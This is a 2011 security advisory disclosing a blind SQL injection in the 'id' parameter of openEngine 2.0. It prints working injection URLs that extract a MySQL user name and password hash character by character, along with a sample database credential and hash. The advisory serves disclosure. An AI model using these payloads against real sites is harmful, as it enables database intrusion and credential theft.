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openEngine 2.0 'id' Blind SQL Injection vulnerability



Advisory:              	openEngine 2.0 'id' Blind SQL Injection vulnerability
Advisory ID:           	SSCHADV2011-019
Author:                	Stefan Schurtz
Affected Software:  	Successfully tested on openEngine 2.0 100226
Vendor URL:          	http://www.openengine.de/
Vendor Status:       	informed
CVE-ID:                	-

==========================
Vulnerability Description:
==========================

openEngine 2.0 is prone to a Blind SQL Injection

==================
Technical Details:
==================

Database information

User: easy
Password: easy (Hash: *E8F5FAE73EBB89AE362C59646600DDCD35EAD7E0)

Blind SQL Injection

http://<target>/openengine/cms/website.php?id=/de/sendpage.htm') AND 1=1 AND ('a'='a&key= <- error
http://<target>/openengine/cms/website.php?id=/de/sendpage.htm') AND 1=0 AND ('a'='a&key= <- no error

User-Guessing

http://<target>/openengine/cms/website.php?id=/de/sendpage.htm') AND ORD(MID((SELECT DISTINCT(IFNULL(CAST(grantee AS CHAR),CHAR(32))) FROM information_schema.USER_PRIVILEGES LIMIT 4,1),2,1)) = 101 AND ('a'='a  <- error (e)

http://<target>/openengine/cms/website.php?id=/de/sendpage.htm') AND ORD(MID((SELECT DISTINCT(IFNULL(CAST(grantee AS CHAR),CHAR(32))) FROM information_schema.USER_PRIVILEGES LIMIT 4,1),3,1)) = 97 AND ('a'='a  <- error (a)

http://<target>/openengine/cms/website.php?id=/de/sendpage.htm') AND ORD(MID((SELECT DISTINCT(IFNULL(CAST(grantee AS CHAR),CHAR(32))) FROM information_schema.USER_PRIVILEGES LIMIT 4,1),4,1)) = 115 AND ('a'='a  <- error (s)

http://<target>/openengine/cms/website.php?id=/de/sendpage.htm') AND ORD(MID((SELECT DISTINCT(IFNULL(CAST(grantee AS CHAR),CHAR(32))) FROM information_schema.USER_PRIVILEGES LIMIT 4,1),5,1)) = 121 AND ('a'='a  <- error (y)

Password(Hash)-Guessing

http://<target>/openengine/cms/website.php?id=/de/sendpage.htm') AND ORD(MID((SELECT DISTINCT(IFNULL(CAST(password AS CHAR),CHAR(32))) FROM mysql.user WHERE user=CHAR(101,97,115,121) LIMIT 0,1),1,1)) = 42 AND ('a'='a <- error (*)

http://<target>/openengine/cms/website.php?id=/de/sendpage.htm') AND ORD(MID((SELECT DISTINCT(IFNULL(CAST(password AS CHAR),CHAR(32))) FROM mysql.user WHERE user=CHAR(101,97,115,121) LIMIT 0,1),2,1)) = 69 AND ('a'='a <- error (E)

http://<target>/openengine/cms/website.php?id=/de/sendpage.htm') AND ORD(MID((SELECT DISTINCT(IFNULL(CAST(password AS CHAR),CHAR(32))) FROM mysql.user WHERE user=CHAR(101,97,115,121) LIMIT 0,1),3,1)) = 56 AND ('a'='a <- error (8)
.. and so on

=========
Solution:
=========

-

====================
Disclosure Timeline:
====================

25-Sep-2011 - informed developers
26-Sep-2011 ? release date of this security advisory

========
Credits:
========

Vulnerability found and advisory written by Stefan Schurtz.

===========
References:
===========

http://www.openengine.de/
http://www.rul3z.de/advisories/SSCHADV2011-019.txt